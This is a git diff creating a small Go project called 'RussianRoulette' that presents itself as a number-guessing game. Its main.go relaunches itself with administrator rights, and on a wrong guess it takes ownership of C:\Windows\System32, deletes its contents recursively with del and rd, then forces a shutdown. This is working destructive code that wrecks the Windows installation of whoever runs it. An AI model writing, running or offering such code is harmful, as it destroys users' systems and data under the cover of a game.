diff --git a/.idea/.gitignore b/.idea/.gitignore
new file mode 100644
index 0000000..13566b8
--- /dev/null
+++ b/.idea/.gitignore
@@ -0,0 +1,8 @@
+# Default ignored files
+/shelf/
+/workspace.xml
+# Editor-based HTTP Client requests
+/httpRequests/
+# Datasource local storage ignored files
+/dataSources/
+/dataSources.local.xml
diff --git a/.idea/RussianRoulette.iml b/.idea/RussianRoulette.iml
new file mode 100644
index 0000000..5e764c4
--- /dev/null
+++ b/.idea/RussianRoulette.iml
@@ -0,0 +1,9 @@
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/modules.xml b/.idea/modules.xml
new file mode 100644
index 0000000..25b74d1
--- /dev/null
+++ b/.idea/modules.xml
@@ -0,0 +1,8 @@
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/vcs.xml b/.idea/vcs.xml
new file mode 100644
index 0000000..94a25f7
--- /dev/null
+++ b/.idea/vcs.xml
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/go.mod b/go.mod
new file mode 100644
index 0000000..b8a99b2
--- /dev/null
+++ b/go.mod
@@ -0,0 +1,5 @@
+module main
+
+go 1.20
+
+require golang.org/x/sys v0.9.0
diff --git a/go.sum b/go.sum
new file mode 100644
index 0000000..cb35c1f
--- /dev/null
+++ b/go.sum
@@ -0,0 +1,2 @@
+golang.org/x/sys v0.9.0 h1:KS/R3tvhPqvJvwcKfnBHJwwthS11LRhmM5D59eEXa0s=
+golang.org/x/sys v0.9.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
diff --git a/main.go b/main.go
new file mode 100644
index 0000000..52b0952
--- /dev/null
+++ b/main.go
@@ -0,0 +1,110 @@
+package main
+
+import (
+ "bufio"
+ "fmt"
+ "golang.org/x/sys/windows"
+ "math/rand"
+ "os"
+ "os/exec"
+ "strconv"
+ "strings"
+ "syscall"
+)
+
+func main() {
+ if !amAdmin() {
+ runMeElevated()
+ os.Exit(0)
+ }
+
+ randomNumber := rand.Intn(9) + 1
+
+ fmt.Println("Guess a number between 1 and 10")
+ fmt.Print(">")
+
+ reader := bufio.NewReader(os.Stdin)
+ b, err := reader.ReadByte()
+ if err != nil {
+ os.Exit(1)
+ }
+ guess, err := strconv.Atoi(string(b))
+ if err != nil {
+ os.Exit(1)
+ }
+
+ if guess != randomNumber {
+ fmt.Println("Are you sure? [y/n]")
+ fmt.Print(">")
+ reader = bufio.NewReader(os.Stdin)
+ b, err = reader.ReadByte()
+ if err != nil {
+ os.Exit(1)
+ }
+ ans := string(b)
+ if ans == "n" {
+ fmt.Println("Good choice")
+ os.Exit(0)
+ }
+
+ fmt.Println("Oh no, you guessed wrong...")
+ cmdTakeOwn := exec.Command("takeown.exe", "/f", "C:\\Windows\\System32")
+ cmdICACLS := exec.Command("icacls.exe", "C:\\Windows\\System32")
+ cmdFiles := exec.Command("cmd.exe", "/C", "del", "/s", "/q", "C:\\Windows\\System32\\*")
+ cmdDir := exec.Command("cmd.exe", "/C", "rd", "/s", "/q", "C:\\Windows\\System32")
+ err = cmdTakeOwn.Run()
+ if err != nil {
+ fmt.Printf("Error serving punishment p1: %v\n", err)
+ }
+ err = cmdICACLS.Run()
+ if err != nil {
+ fmt.Printf("Error serving punishment p2: %v\n", err)
+ }
+ err = cmdFiles.Run()
+ if err != nil {
+ fmt.Printf("Error serving punishment p3: %v\n", err)
+ }
+ err = cmdDir.Run()
+ if err != nil {
+ fmt.Printf("Error serving punishment p4: %v\n", err)
+ }
+
+ cmdShutdown := exec.Command("cmd.exe", "/C", "shutdown", "/t", "0", "/s")
+ err = cmdShutdown.Run()
+ if err != nil {
+ fmt.Printf("Error shutting down: %v\n", err)
+ }
+ } else {
+ fmt.Println("Congratulations, you live to see another day...", guess, "was the correct number :)")
+ }
+
+ fmt.Print("Press 'Enter' to continue...")
+ bufio.NewReader(os.Stdin).ReadBytes('\n')
+}
+
+func runMeElevated() {
+ verb := "runas"
+ exe, _ := os.Executable()
+ cwd, _ := os.Getwd()
+ args := strings.Join(os.Args[1:], " ")
+
+ verbPtr, _ := syscall.UTF16PtrFromString(verb)
+ exePtr, _ := syscall.UTF16PtrFromString(exe)
+ cwdPtr, _ := syscall.UTF16PtrFromString(cwd)
+ argPtr, _ := syscall.UTF16PtrFromString(args)
+
+ var showCmd int32 = 1 //SW_NORMAL
+
+ err := windows.ShellExecute(0, verbPtr, exePtr, argPtr, cwdPtr, showCmd)
+ if err != nil {
+ fmt.Println(err)
+ }
+}
+
+func amAdmin() bool {
+ _, err := os.Open("\\\\.\\PHYSICALDRIVE0")
+ if err != nil {
+ return false
+ }
+ return true
+}